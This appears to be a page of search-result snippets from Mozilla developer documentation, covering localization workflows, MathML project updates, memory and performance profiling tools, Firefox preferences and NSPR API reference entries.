new pending promise and provides methods to resolve or reject this promise. this method was previously implemented as promise.defer(), which is obsolete since gecko 30. and promiseutils.defer uses dom promise instead of promise.jsm's promise. deferred defer(); parameters none. return value a
new object, containing the
new promise in the promise property, and the methods to change its state in the resolve and reject properties. see the deferred documentation ...
Using workers in JavaScript code modules
you can use workers in javascript code modules (jsms). this lets you run code in a separate thread from your jsm. to create a chromeworker for this purpose, you need to use the nsiworkerfactory interface: var workerfactory = components.classes['@mozilla.org/threads/workerfactory;1'] .createinstance(components.interfaces.nsiworkerfactory); var worker = workerfactory.
newchromeworker('script_url.js'); this will create a
new chrome worker that will immediately begin to run the script at the specified url (in this case, "script_url.js"). for example, "script_url.js" can be "chrome://extension_name/content/script.js". ...
Mozilla Content Localized in Your Language
y][district][street number and name][building and suite numbers][addressee] countries of european languages start from small to big: [addressee][street number and name][building and suite numbers][district][city][state/province][postal code][country] name convention what are the order of family name and given name in your language. here is the guideline on the naming convention from w3c.org:
new terminology what is your localization team's process for identifying and creating
new terminology? currency currency and symbol. what are other widely used currency and symbols used in your country/language for paid apps. user interface elements titles should be brief and precise. localizers can assume that source content reaches 2/3 of the total available line space...
L10n testing with xcode
irefox on ios. launching & testing your firefox on ios localization the ios simulator is fairly easy to use once you launch your app. to perform the next steps, you'll need to be familiar with how user gestures and hardware interactions work in the simulator. this guide should help. press the run button in the upper left-hand corner (the button has a playback icon). navigate to the
newly opened ios simulator window many strings are accessibility strings and are only revieled when a user hovers their finger over the button. to view these strings, you'll need to start the accessibility inspector within the ios simulator by doing the following. in the ios simulator, press the home button from the hardware toolbar menu. navigate to the settings app, open it, and go to gen...
Localizing extension metadata on addons.mozilla.org
amo supports localized metadata for each extension. this data describes the extension, and doesn't necessarily change with each revision (but it can). the localizable data fields of an extension are: name homepage summary description eula privacy policy version notes developer comments when you submit a
new extension to amo, the process is divided into several steps. in step 2, you'll be asked to provide the attributes listed above in the add-on's default locale (selected in step 1). the values you provide here are used as fallback values if someone requests a language that doesn't exist. step 4 allows you to translate any of the above fields into any other language amo supports. remember, all fields are optional when localizing. any field that is blank will just show up...
Patching a Localization
nly contains those changes that you intended to make. if it contains more, you'll likely regress something else. alternatively, you can select specific files for diff to evaluate and print (see below). the command will only print the differences found in the selected files. hg diff browser/chrome/browser/browser.dtd attach the patch to an existing bug for reference or review or create a
new one if one doesn't currently exist. hg diff > path/to/patchfile ...
Localization prerequisites
perl 5.6 or higher older perl versions may work if you upgrade file::spec to version 0.8 gnu make 3.79.1 or higher. other varieties of "make" will not work. autoconf-2.13 - autoconf 2.5x will not work. zip 2.3 (or higher) mercurial 1.2 or higher recommended. ...
Localization quick start guide
tion. qa phase l10n testing tutorials. release phase steps to shipping your localization work. these four stages make up tech side of the l10n program. to learn more about any of these, click on any of the links above. to get the big picture, we suggest you start with the green bubble and move from stage to stage. note: this guide is written for two types of contributors: those starting a
new localization and those joining an existing localization. it is important to know which information applies to which type of contributor. to help you filter through to the most applicable information, note that all information that is unique to those starting a
new localization will be in orange font. all information that is unique to those joining an existing localization will be in blue font. ...
SVN for Localizers
r you commit your changes, wait 15 minutes and check the staging website for your locale. your recent changes should now be visible online. you will have the chance to see how the localized website will look when it's pushed to prod (i.e., a website that regular visitors will see). when localizing websites, l10n-drivers will always add needed files to your repository or update your files with
new strings in english. it's very important for you to update your working copy with the
newest files from mozilla svn repository before you start making changes. enter the following command from the command-line: svn update your local svn repository (i.e., working directory) will be updated with the
newest files from the url you initially cloned your repository from. it's very important that you...
Localization formats
html/php maybe you are designing a project that has relatively small translation needs like three to four lines (or more) of content asking users to update to the next version of software available. you may choose to present just the html for loc...
Web Localizability
lications. how to set up the infrastructure for localization. why localizability is important there are many reasons why you should start thinking about making your web app localizable as soon as possible. you will make localizer's life easier, for which they will be grateful. you will have quality content, localized and adapted to the needs of the local market. extending you web app to support
new languages will be easy. the content will be easier to maintain and update. you will end up writing more semanticly-correct code, which is good for your seo. by reviewing your content and code for l12y, you will find and fix bugs in your original language too. ...
gettext
tring = "{$context}\004{$msgid}"; $contextstringp = "{$context}\004{$msgid_plural}"; $translation = ngettext($contextstring, $contextstringp, $num); if ($translation === $contextstring) { return $msgid; } else if ($translation === $contextstringp) { return $msgid_plural; } else { return $translation; } } } //
new gettext keyword for regular strings with optional context argument function ___($message, $context ="") { if($context != "") { return pgettext($context, $message); } else { return _($message); } } //
new gettext keyword for plural strings with optional context argument function n___($message, $message_plural, $num, $context ="") { if($context != "") { ret...
Updates
this page is not maintained frequently. please follow our monthly irc meeting for the latest updates. march 22, 2011 firefox 4.0 has been released! this
new version comes with several bug fixes and
new features for mathml. some improvements are particularly worth noting: a
new html parser, which lets you use mathml inside non-xhtml documents. complete support for stix fonts 1.0. better rendering of mathematical symbols, especially stretchy operators. october 21, 2010 mathml 3.0 is now a w3c recommendation! june 11, 2010 stix fonts version 1.0 are now compatible with trunk. may 28, 2010 stix fonts version 1.0 released. april 2010
new web pages for the mozilla mathml project! documentation is now available on mdc and wiki.mozilla.org. feel free to complete and improve i...
Mozilla MathML Project
thml support within firefox and other mozilla-based applications. for a quick overview, see the slides for the innovation fairs at mozilla summit 2013. updates status of each tag result of the mathml 3 testsuite unofficial nightly builds with mathml patches applied (maintained by bill gianopoulos) more updates and archived content community view mozilla forums... mailing list
newsgroup rss feed irc channel wiki used by contributors - check out the latest developments and help us improving mathml in mozilla. links installing fonts for mozilla's mathml engine mathml version 3.0 - w3c recommendation, 21 october 2010 w3c mathml test suite - designed to check the implementation of each element one attribute (or built-in rendering behavior) at a time in a fairly tho...
Mobile
learn how to make sure your web site works well on different browsers. ...
Mozilla Style System
nds for the style data that applies to a given element or pseudo-element, in the form of style rules. nsistylerule an nsistylerule is animmutable set of css property-value pairs. for css style sheets, they correspond to css's concept of rules. however, they also exist for the other types of rule processors. when script dynamically changes the data represented by a css style rule, we create a
new nsistylerule object; keeping the old one around briefly helps to determine what changed and how we need to handle that change. computed style (front end) the interface that the front end exposes to the rest of mozilla consists of a single nsstyleset object and many nsstylecontext objects, each of which holds the computed style for an element, pseudo-element, or text node. the style set provid...
Mozilla Style System Documentation
e, :first-letter), but few of mozilla's custom pseudo-elements, many of which are hacks for further formatting objects that we create. the pres context forwards these calls to its style set object (stylesetimpl, interface nsistyleset), which does the real work (and also maintains the lists of stylesheets and owns the rule tree). these methods may all return an existing style context rather than a
new one (see stylesetimpl::getcontext), if there is a current style context with the same parent, that matches the same rules (a check that is easy because of the ruletree), and is for the same pseudo-element (or not for a pseudo-element, or a "non-element"). this is more than just sibling-sharing since if the parent is shared, it could be cousin-sharing. in css, some of the style data for an elemen...
Are We Slim Yet
the same infrastructure as about:memory to measure memory usage on a predefined snapshot of alexa top 100 pages known as tp5. since firefox transitioned to using multiple processes by default, we moved awsy into the taskcluster infrastructure. this allowed us to run measurements on all branches and platforms. the results are posted to perfherder where we can track regressions automatically. as
new processes are added to firefox we want to make sure their memory usage is also tracked by awsy. to this end we request that memory reporting be integrated into any
new process before it is enabled on nightly. ...
BloatView
uch memory we're consuming. the more memory in general, the worse the performance and footprint. the percentage 99999.99% will show up indicating an "infinite" amount of leakage. this happens when something that didn't leak before is now leaking. bloatview and continuous integration bloatview runs on debug builds for many of the test suites mozilla has running under continuous integration. if a
new leak occurs, it will trigger a test job failure. bloatview's output file can also show you where the leaked objects are allocated. to do so, the xpcom_mem_log_classes environment variable should be set to the name of the class from the bloatview table: xpcom_mem_log_classes=myclass mach mochitest [options] multiple class names can be specified by setting xpcom_mem_log_classes to a comma-separ...
Investigating leaks using DMD heap scan mode
1451985, i eventually reduced the list of entries until this was the most suspicious looking entry: 0x7f0892f29630 size = 392 bytes at byte offset 56 mozilla::dom::scriptloader::processexternalscript[...] [...] i went to that line of scriptloader::processexternalscript(), and it contained a call to scriptloader::createloadrequest(). fortunately, this method mostly just contains two calls to
new, one for scriptloadrequest and one for moduleloadrequest. (this is where an unoptimized build comes in handy, as it would have pointed out the exact line. unfortunately, in this particular case, the unoptimized build was so slow i wasn’t getting any logs.) i then looked through the list of leaked objects generated by xpcom_mem_bloat_log and saw that we were leaking a scriptloadrequest, so i wen...
Gecko Profiler FAQ
g the allocator. you do want to think about various characteristics of an allocator which may have an impact on performance. for example, see julian’s great investigation on the impact of cache line sharing across multiple cores on jemalloc’s multi-core performance in https://bugzilla.mozilla.org/show_bug.cgi?id=1291355#c26. what's the best way to measure the cost of
new compiler flags (that affect all or most functions)? [ehsan] this is similar to the previous question to some extent, but the specific answer really depends on what kind of compiler flag we’re talking about and what performance impact we’re interested to study. but the short answer is picking up real browser workloads, and finding ways to split out the overall cost contributed by ...
JS::PerfMeasurement
asuresomething() this class method returns true if and only if some -- not necessarily all -- events can be measured by the current build of spidermonkey, running on the current os. at present, it returns true on linux when the <linux/perf_event.h> api is available (kernel 2.6.31 or later), and false everywhere else. perfmeasurement::perfmeasurement(eventmask tomeasure) the constructor creates a
new profiling object, which measures some subset of the requested events. perfmeasurement::~perfmeasurement() take care not to leak profiling objects, as they may be holding down expensive os-level state. eventmask eventsmeasured instances of perfmeasurement expose this constant. it will not have any more bits set than were set in the mask passed to the constructor, but if the os cannot or will not ...
Measuring performance using the PerfMeasurement.jsm code module
measurement object. you give the constructor a bit-mask of events you're interested in; see note: at present, perfmeasurement.jsm is only functional on linux, but it is planned to add support for windows (bug 583322) and osx (bug 583323) as well, and we welcome patches for other operating systems. for instance, let's measure instructions executed, cache references, and cache misses: let monitor =
new perfmeasurement(perfmeasurement.cpu_cycles | perfmeasurement.cache_references | perfmeasurement.cache_misses); this creates a
new perfmeasurement object, configured to record the specified event types. it doesn't, however, start to record data. now we want to benchmark a function that is pretty fast (but not fast enough), so we run it several thousand times: for (let i = 0; i < 10000...
Memory Profiler
ref to false in order to install it, since the xpi is not yet signed. using the add-on open the devtools panel or webide. select the memoryprofiler tab. to take a profile you can use the buttons in the profiler panel. start - start profiling stop - stop profiling reset - clear profile data when profiler is stopped profile data is accumulated and resumed after start. use reset to start a
new recording. understanding the profiles traditional memory analysis tools look at the data. they build the referring-to, namely retaining graphs. this is helpful in exploring the relationships among objects and identifying memory leaks. however, the information exposed in this way is usually a snapshot and the history of how memory has been used goes missing. moreover, they usually don't keep ...
Profiling with Concurrency Visualizer - Performance
concurrency visualizer is an excellent alternative to xperf. in
newer versions of visual studio, it is an addon that needs to be downloaded. here are some scripts that you can be used for manipulating the profiles that have been exported to csv: https://github.com/jrmuizel/concurrency-visualizer-scripts ...
Profiling with the Firefox Profiler
ou will need to run an additional tool; see profiling with the firefox profiler and local symbols on windows. profiling try builds profiling try builds is supported, but to have symbols in the profiles, they need to be available on the symbol server. symbols for try builds are not uploaded to the symbol server automatically, you need to trigger a "sym" job on treeherder: using treeherder's add
new jobs ui, schedule a "sym" job for each platform whose "b" job you want symbols for. (and "symn" if you have an "n" job you want symbols for, i.e. a build job with the "nightly configuration.) profiling firefox mobile firefox 61 for android supports gecko profiler again; see remote profiling on android for details. the following information is old version of firefox for android. for local bu...
Reporting a Performance Problem
, reproduce the performance problem. if possible let the problem manifest itself for 5-10 seconds. press ctrl+shift+2 or click on the profiler toolbar icon in the top right and select 'capture'. try to do this within a few seconds from reproducing the performance problem as only the last few seconds are recorded. if the timeline has a large red block it's a good sign. the data will open in a
new tab. wait until the "symbolicating call stacks" notification disappears before sharing the profile. there will be a button in the top right labeled 'publish' which will allow you to upload this profile and once completed will write out a link. before uploading, the publish button asks you what data you'd like to publish to our servers. note that while it's possible to strip profiles of potentia...
Phishing: a short definition
and enter the corresponding 6-digit code, representing a hashed version of the secret key and a nonce - potentially time-based. otp is the most widely supported second factor schemes and can be used to secure your most important accounts. unfortunately, some users still feel it's too tedious unlocking a phone, opening the otp app, and manually typing a few digits each time a provider requests a
new token. this can be phished by an attacker, though with totp apps the attacker has limited time to make their unauthorized login. ...
A brief guide to Mozilla preferences
ems administrator can modify the default preferences in two ways: the administrator may add an all-companyname.js preference file (install_directory/browser/defaults/preferences/all-companyname.js). this will be parsed last during the preference loading process. the administrator may alternatively put a user.js file in app_dir/defaults/profile/ ; this will put a copy of the user.js in all
new profiles. this method has the advantage of resetting preferences back to administrator defaults at every start-up. note that, because a user typically has access privilege to his or her profile directory, he or she can change the default values if he or she knows how. another disadvantage is that existing profiles will not be affected. this method is considered user-hostile. any use of this techn...
browser.pagethumbnails.capturing_disabled
the preference browser.pagethumbnails.capturing_disabled controls whether the application creates screenshots of visited pages which will be shown if the web page is shown in the grid of the "
new tab page" (about:
newtab) which offers the most often visited pages for fast navigation. type:boolean default value:true exists by default: no application support: firefox 14.0 status: active; last updated 2012-09-17 introduction: pushed to nightly on 2012-04-13 bugs: bug 726347 values false the application creates screenshots of visited web pages. true (default) the application doesn't create screenshots of visited web pages. ...
browser.search.context.loadInBackground
browser.search.context.loadinbackground controls whether a search from the context menu with "search <search engine> for <selected text>" opening a
new tab will give focus to it and load it in the foreground or keep focus on the current tab and open it in the background. type:boolean default value:false exists by default: yes application support: firefox 13.0 status: active; last updated 2012-02-17 introduction: pushed to nightly on 2012-02-15 bugs: bug 727131 values true
new tab with search results will be opened in the background, focus stays on the current tab. false (default)
new tab with search results will be opened in the foreground. ...
Productization guide
ients (like yahoo! mail and gmail), so that if the user happens to use one of these in the browser, they don’t have to configure them. the second purpose (demonstrate certain features of the product) is equally important: by providing these default services, we demonstrate particular features of the product, the ones which otherwise wouldn’t be as discoverable. for example, putting one sample
news feed on the bookmarks toolbar in
new profiles in firefox helps in learning about the live bookmarks. including a couple of search engines instead of one in the search toolbar can help users understand that they can add as many plug-ins as they wish. this guide will walk you through the steps to successfully productizing your localization. the first page will cover performing research and prepari...
A guide to searching crash reports
ks in the remaining column cells also let you perform a narrower subsequent search with that link's value added to the search criteria. a narrower search you can add criteria to perform a narrower search. for example, to perform a search for all mac crash reports that occurred while javascript garbage collection was running, do the following. add "mac os x" to the "platform" field. select "
new line", and then choose a field ("is garbage collecting") and an operator ("is true"). the operators available for each field depends on its type. with these criteria added the search form looks like the following screenshot. after clicking on "search" we get results like those in the following screenshot. the number of crash reports matching this search is in the thousands, i.e. much smal...
Emscripten techniques
this page contains specific emscripten-related techniques. debugging out-of-memory problems a common bug to diagnose with emscripten is where a big game fails due to an out of memory error (oom) somewhere during load time. by the time about:memory is loaded in a
new tab and you have clicked the "measure" button to diagnose what's happened, the memory usage causing the spike has gone away, making temporary memory spikes difficult to diagnose. this article explains how to debug such problems. ...
Firefox Sync
efox accounts password and has access to your email for the verification required during the initial login). documentation this document serves as an index for all technical documentation related to sync. it is not designed for use by end-users, but instead for people who wish to understand the details of how sync is implemented or wish to interact with it. general the always prolific richard
newman has written a couple of notes about bookmark syncing (first, second) and has a blog where he talks about the various challenges syncing this kind of data. servers documentation for the various servers, including information on how to host your own. android searchfox has links to the main sync code and the storage layer. there are also some notes in a google document (that we really must mo...
JSHydra
hydra tools, which can perform similar tasks in c++ code. in its back-end, it uses the parse tree created by the spidermonkey engine. all analysis is performed by running javascripts. ...
L20n Javascript API
eved, parsed and compiled. you can listen to the ready event (emitted by the context instance when all the resources have been compiled) and use ctx.getsync and ctx.getentitysync to get translations synchronously. alternatively, you can register callbacks to execute when the context is ready (or when globals change and translations need to be updated) with ctx.localize. ctx.localize(['hello', '
new'], function(l10n) { var node = document.queryselector('[data-l10n-id=hello]'); node.textcontent = l10n.entities.hello.value; node.classlist.remove('hidden'); }); ctx.registerlocales(defaultlocale: string?, availablelocales: array<string>?) register the default locale of the context instance, as well as all other locales available to the context instance before the language negotiation. ...
L20n
ee our documentation on github. a javascript localization framework to unleash your natural language's power with simple code. introducing l20n l20n reinvents software localization. users should be able to benefit from the entire expressive power of the natural language. l20n keeps simple things simple, and at the same time makes complex things possible. through l20n, mozilla is creating a
new generation of technology that places more power in localizers' hands. l20n lets localizers reach higher levels of free linguistic expression by sharpening the divide between localization and application logic. it allows to adapt your web application not only to languages and cultures, but also contextual data, user gender and screen dimensions. what l20n looks like here is a simple, straightf...
McCoy
recious keys. backing up data if you need to backup your data or move it from one machine to another you need to take a copy of the profile folder. this is located in: %appdata%\mozilla\mccoy (windows) ~/.mozilla/mccoy (linux) ~/library/application support/mccoy (mac os x) it is highly recommended that you back up your profile folder and store it in a safe location whenever you create a
new key; without a backup, there is no way to recover your private keys if they are lost! running mccoy to run mccoy simply run the mccoy executable (or the mccoy application on os x). the first time it runs it will ask you to create a master password. it is strongly recommended that you use a password to protect your mccoy data. once you have a password set you can change it from the keys menu and...
Midas
ck, that block becomes the first li and an ol. if the caret is inside a bulleted item, the bulleted item becomes a numbered item. insertunorderedlist depends on the selection. if the caret is not inside a non-li block, that block becomes the first li and ul. if the caret is inside a numbered item, the numbered item becomes a bulleted item. insertparagraph inserts a
new paragraph. italic if there is no selection, the insertion point will set italic for subsequently typed characters. if there is a selection and all of the characters are already italic, the italic will be removed. otherwise, all selected characters will become italic. justifycenter center-aligns the current block. justifyfull fully-justifies ...
About NSPR
able as a platform on which to write threaded applications that need to be ported to multiple platforms. the current implementation supports macintosh (ppc), win-32 (winnt, win9x) and 20 versions of unix and is still expanding. the basic api is stable and expected to remain that way. nspr is functionally complete and has entered a mode of sustaining engineering. as operating system vendors issue
new releases of their operating systems, nspr will be moved forward to these
new releases by interested players. original document information author: larryh@netscape.com last updated date: 2000 (portions of the introduction moved to the history section in 2012) ...
Creating a Cookie Log
cations). creating the log now that you have firefox running with logging enabled, please try to replicate the bug using the steps to reproduce from the bug report. once you have reproduced the bug, shut down firefox. close out of the command prompt/shell/terminal, and then launch firefox normally. finally, attach the cookie-log.txt file to the bug where it was requested (by clicking on create
new attachment). it should be in c:\temp on windows, your home directory on linux, or the desktop on mac os x. thanks for helping us make firefox better! original document information author(s): mike connor last updated date: december 4, 2004 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons li...
Anonymous Shared Memory
e the examples below. both sides should adhere strictly to the protocol for proper operation. the pseudo-code below shows the use of a file-mapped shared memory by a parent and child processes. in the examples, the server creates the file-mapped shared memory, the client attaches to it. first protocol server: fm = pr_openanonfilemap(dirname, size, filemapprot); addr = pr_memmap(fm); attr = pr_
newprocessattr(); pr_processattrsetinheritablefilemap( attr, fm, shmname ); pr_createprocess(client); pr_destroyprocessattr(attr); ... yadda ... pr_memunmap( addr ); pr_closefilemap(fm); client: ... started by server via pr_createprocess() fm = pr_getinheritedfilemap( shmname ); addr = pr_memmap(fm); ... yadda ... pr_memunmap(addr); pr_closefilemap(fm); second protocol server: fm = pr_openanon...
Condition Variables
ion on nspr locks, see locks. nspr provides a special type, prmonitor, for use with java. ...
Hash Tables
ning: the nspr hash table library functions are not thread safe. a hash table lookup may change the internal organization of the hash table (to speed up future lookups). ...
Locks
ant and can have only one associated condition variable. prmonitor is intended for use with java and reflects the java approach to thread synchronization. for an introduction to nspr thread synchronization, including locks and condition variables, see introduction to nspr. for reference information on nspr condition variables, see condition variables. lock type prlock lock functions pr_
newlock creates a
new lock object. pr_destroylock destroys a specified lock object. pr_lock locks a specified lock object. pr_unlock unlocks a specified lock object. ...
Monitors
fore the wait operation. unlike a mutex of type prlock, a mutex of type prmonitor has a single, implicitly associated condition variable that may be used to facilitate synchronization of threads with the change in state of monitored data. for an introduction to nspr thread synchronization, including locks and condition variables, see introduction to nspr. monitor type with the exception of pr_
newmonitor, which creates a
new monitor object, all monitor functions require a pointer to an opaque object of type prmonitor. monitor functions all monitor functions are thread-safe. however, this safety does not extend to protecting the monitor object from deletion. pr_
newmonitor creates a
new monitor. pr_destroymonitor destroys a monitor object. pr_entermonitor enters the lock associated wi...
NSPR Error Handling
_error attempt to delete a directory that is not empty. pr_filesystem_mounted_error attempt to delete or rename a file object while the file system is busy. pr_not_same_device_error request to rename a file to a file system on another device. pr_directory_corrupted_error the directory object in the file system is corrupted. pr_file_exists_error attempt to create or rename a file when the
new name is already being used. pr_max_directory_entries_error attempt to add
new filename to directory would exceed the limit allowed. pr_invalid_device_state_error the device was in an invalid state to complete the desired operation. pr_device_is_locked_error the device needed to perform the desired request is locked. pr_no_more_files_error there are no more entries in the directory. pr_en...
PL_strdup
syntax #include <plstr.h> char *pl_strdup(const char *s); parameter the function has a single parameter: s the string to copy, may be null. returns the function returns one of these values: if successful, a pointer to a copy of the specified string. if the memory allocation fails, null. description to accommodate the terminator, the size of the allocated memory is one greater than the length of the string being copied. a null argument, like a zero-length argument, results in a pointer to a one-byte block of memory containing the null value. ...
PRFileDesc
ndent implementation data. see prfileprivate. lower pointer to lower layer. higher pointer to higher layer. dtor a destructor function for the layer. identity identity of this particular layer. see prdescidentity. description the fields of this structure are significant only if you are implementing a layer on top of nspr, such as ssl. otherwise, you use functions such as pr_open and pr_
newtcpsocket to obtain a file descriptor, which you should treat as an opaque structure. for more details about the use of prfiledesc and related structures, see file descriptor types. ...
PRIOMethods
e to listen for network connections. shutdown shut down a network connection. recv receive up to the specified number of bytes. send send all the bytes specified. recvfrom receive up to the specified number of bytes and report network source. sendto send bytes to specified network address. poll test the file descriptor to see if it is ready for i/o. acceptread accept and read from a
new network file descriptor. transmitfile transmit an entire file to the specified socket. getsockname get network address associated with a file descriptor. getpeername get peer's network address. getsockopt get current setting of specified socket option. setsockopt set value of specified socket option. description you don't need to know the type declaration for each function listed in ...
PRLogModuleInfo
the prlogmoduleinfo structure controls logging from within your application. to log your program's activity, create a prlogmoduleinfo structure using pr_
newlogmodule . syntax #include <prlog.h> typedef struct prlogmoduleinfo { const char *name; prlogmodulelevel level; struct prlogmoduleinfo *next; } prlogmoduleinfo; ...
PRProcessAttr
represents the attributes of a
new process. syntax #include <prproces.h> typedef struct prprocessattr prprocessattr; description this opaque structure describes the attributes of a process to be created. pass a pointer to a prprocessattr into pr_createprocess when you create a
new process, specifying information such as standard input/output redirection and file descriptor inheritance. ...
PRThread
an nspr thread. syntax #include <prthread.h> typedef struct prthread prthread; description in nspr, a thread is represented by a pointer to an opaque structure of type prthread. this pointer is a required parameter for most of the functions that operate on threads. a prthread* is the successful result of creating a
new thread. the identifier remains valid until it returns from its root function and, if the thread was created joinable, is joined. ...
PRThreadPrivateDTOR
syntax #include <prthread.h> typedef void (pr_callback *prthreadprivatedtor)(void *priv); description until the data associated with an index is actually set with a call to pr_setthreadprivate, the value of the data is null. ...
PR_AttachThread
ached. stack the stack for the thread being attached. returns the function returns one of these values: if successful, a pointer to a prthread object. if unsuccessful, for example if system resources are not available, null. description you use pr_attachthread when you want to use nss functions on the native thread that was not created with nspr. pr_attachthread informs nspr about the
new thread by associating a prthread object with the native thread. the thread object is automatically destroyed when it is no longer needed. you don't need to call pr_attachthread unless you create your own native thread. pr_init calls pr_attachthread automatically for the primordial thread. note: as of nspr release v3.0, pr_attachthread and pr_detachthread are obsolete. a native thread not creat...
PR_Bind
fd a pointer to a prfiledesc object representing a socket. addr a pointer to a prnetaddr object representing the address to which the socket will be bound. returns the function returns one of the following values: upon successful binding of an address to a socket, pr_success. if unsuccessful, pr_failure. further information can be obtained by calling pr_geterror. description when a
new socket is created, it has no address bound to it. pr_bind assigns the specified address (also known as name) to the socket. if you do not care about the exact ip address assigned to the socket, set the inet.ip field of prnetaddr to pr_htonl(pr_inaddr_any). if you do not care about the tcp/udp port assigned to the socket, set the inet.port field of prnetaddr to 0. note that if pr_connect is invok...
PR_CreateThreadPool
syntax #include <prtpool.h> nspr_api(prthreadpool *) pr_createthreadpool( print32 initial_threads, print32 max_threads, pruint32 stacksize ); parameters the function has the following parameters: initial_threads the number of threads to be created within this thread pool. max_threads the limit on the number of threads that will be created to server the thread pool. stacksize size of the stack allocated to each thread in the thread. returns pointer to a prthreadpool structure or null on error. ...
PR_DestroyPollableEvent
close the file descriptor associated with a pollable event and release related resources. syntax nspr_api(prstatus) pr_destroypollableevent(prfiledesc *event); parameter the function has the following parameter: event pointer to a prfiledesc structure previously created via a call to pr_
newpollableevent. returns the function returns one of the following values: if successful, pr_success. if unsuccessful, pr_failure. the reason for the failure can be retrieved via pr_geterror. ...
PR_GetLibraryName
constructs a full library path name. syntax #include <prlink.h> char* pr_getlibraryname ( const char *dir, const char *lib); parameters the function has these parameters: dir a null-terminated string representing the path name of the library, as returned by pr_getlibrarypath. lib the leaf name of the library of interest. returns if successful, returns a
new character string containing a constructed path name. in case of error, returns null. description this function constructs a full path name from the specified directory name and library name. the constructed path name refers to the actual dynamically loaded library. it is suitable for use in the pr_loadlibrary call. this function does not test for existence of the specified file, it just constructs the full filename...
PR_GetUniqueIdentity
e. if the function cannot allocate enough dynamic memory, it fails and returns the value pr_invalid_io_layer with the error code pr_out_of_memory_error. description a string may be associated with a layer when the layer is created. pr_getuniqueidentity allocates a unique layer identity and associates it with the string. the string can be subsequently passed to pr_createiolayerstub to create a
new file descriptor of that layer. call pr_getuniqueidentity only once for any particular layer name. if you're creating a custom i/o layer, cache the result, and then use that cached result every time you call pr_createiolayerstub. ...
PR_Listen
backlog the maximum length of the queue of pending connections. returns the function returns one of the following values: upon successful completion of listen request, pr_success. if unsuccessful, pr_failure. ...
PR_OpenSemaphore
lue assigned to the semaphore. returns a pointer to a prsem structure or null/code> on error. description if the named semaphore doesn't exist and the pr_sem_create flag is specified, the named semaphore is created. the created semaphore needs to be removed from the system with a pr_deletesemaphore call. if pr_sem_create is specified, the third argument is the access permission bits of the
new semaphore (same interpretation as the mode argument to pr_open) and the fourth argument is the initial value of the
new semaphore. if pr_sem_create is not specified, the third and fourth arguments are ignored. ...
PR_Realloc
resizes allocated memory on the heap. syntax #include <prmem.h> void *pr_realloc ( void *ptr, pruint32 size); parameters ptr a pointer to the existing memory block being resized. size the size of the
new memory block. returns an untyped pointer to the allocated memory, or if the allocation attempt fails, null. call pr_geterror() to retrieve the error returned by the libc function realloc(). description this function attempts to enlarge or shrink the memory block addressed by ptr to a
new size. the contents of the specified memory remains the same up to the smaller of its old size and
new size, although the
new memory block's address can be different from the original address. ...
PR_Rename
renames a file. syntax #include <prio.h> prstatus pr_rename( const char *from, const char *to); parameters the function has the following parameters: from the old name of the file to be renamed. to the
new name of the file. returns one of the following values: if file is successfully renamed, pr_success. if file is not successfully renamed, pr_failure. description pr_rename renames a file from its old name (from) to a
new name (to). if a file with the
new name already exists, pr_rename fails with the error code pr_file_exists_error. in this case, pr_rename does not overwrite the existing filename. ...
PR_Seek
tion fails, the file pointer remains unchanged and the function returns -1. the error code can then be retrieved with pr_geterror. description here's an idiom for obtaining the current location of the file pointer for the file descriptor fd: pr_seek(fd, 0, pr_seek_cur) see also if you need to move the file pointer by a large offset that's out of the range of a 32-bit integer, use pr_seek64.
new code should use pr_seek64 so that it can handle files larger than 2 gb. ...
PR_SetErrorText
g. otherwise the text is assumed to be the length specified and to possibly include null characters (as might occur in a multilingual string). text the text to associate with the error. description the text is copied into the thread structure and remains there until the next call to pr_seterror. if there is error text already present in the thread, the previous value is first deleted. the
new value is copied into storage allocated and owned by nspr and remains there until the next call to pr_seterror or another call to pr_seterrortext. nspr makes no use of this function. clients may use it for their own purposes. ...
PR_SetPollableEvent
set a pollable event. syntax nspr_api(prstatus) pr_setpollableevent(prfiledesc *event); parameter the function has the following parameter: event pointer to a prfiledesc structure previously created via a call to pr_
newpollableevent. returns the function returns one of the following values: if successful, pr_success. if unsuccessful, pr_failure. the reason for the failure can be retrieved via pr_geterror. ...
PR_SetThreadPrivate
a, or more likely, a pointer to the data. returns the function returns one of the following values: if successful, pr_success. if the index is invalid, pr_failure. description if the thread already has non-null private data associated with it, and if the destructor function for the index is known (not null), nspr calls the destructor function associated with the index before setting the
new data value. the pointer at the index is swapped with null. if the swapped out value is not null, the destructor function is called. on return, the private data associated with the index is reassigned the
new private data's value, even if it is null. the runtime provides no protection for the private data. the destructor is called with the runtime holding no locks. synchronization is the client's ...
PR_Sleep
to sleep for (see printervaltime). returns calling pr_sleep with a parameter equivalent to pr_interval_no_timeout is an error and results in a pr_failure error. description pr_sleep simply waits on a condition for the amount of time specified. if you set ticks to pr_interval_no_wait, the thread yields. if ticks is not pr_interval_no_wait, pr_sleep uses an existing lock, but has to create a
new condition for this purpose. if you have already created such structures, it is more efficient to use them directly. calling pr_sleep with the value of ticks set to pr_interval_no_wait simply surrenders the processor to ready threads of the same priority. all other values of ticks cause pr_sleep to block the calling thread for the specified interval. threads blocked in pr_sleep are interruptible...
PR_WaitForPollableEvent
blocks the calling thread until the pollable event is set, and then atomically unsetting the event before returning. syntax nspr_api(prstatus) pr_waitforpollableevent(prfiledesc *event); parameter the function has the following parameter: event pointer to a prfiledesc structure previously created via a call to pr_
newpollableevent. returns the function returns one of the following values: if successful, pr_success. if unsuccessful, pr_failure. the reason for the failure can be retrieved via pr_geterror. ...
NSPR API Reference
ol pr_findsymbolandlibrary finding symbols defined in the main executable program platform notes dynamic library search path exporting symbols from the main executable program process management and interprocess communication process management types and constants prprocess prprocessattr process management functions setting the attributes of a
new process creating and managing processes multiwait receive system information and environment variables logging conditional compilation and execution log types and variables prlogmoduleinfo prlogmodulelevel nspr_log_modules nspr_log_file logging functions and macros pr_
newlogmodule pr_setlogfile pr_setlogbuffering pr_logprint pr_logflush pr...
Running NSPR tests
the test suite passed. what if some of the tests crashed or reported failed as the results? it doesn't necessarily mean the test suite failed because some of the test programs are known to fail. until the test failures are fixed, you should run nspr tests against a known good version of nspr on the same platform, and save the test results as the benchmark. then you can detect regressions of the
new version by comparing its test results with the benchmark. known issues other issues with the nspr test suite are: some of the test programs test the accuracy of the timeout of nspr functions. since none of our operating systems is a real-time os, such test programs may fail when the test machine is heavily loaded. some tests, such as pipepong and sockpong, should not be run directly. they w...
NSPR
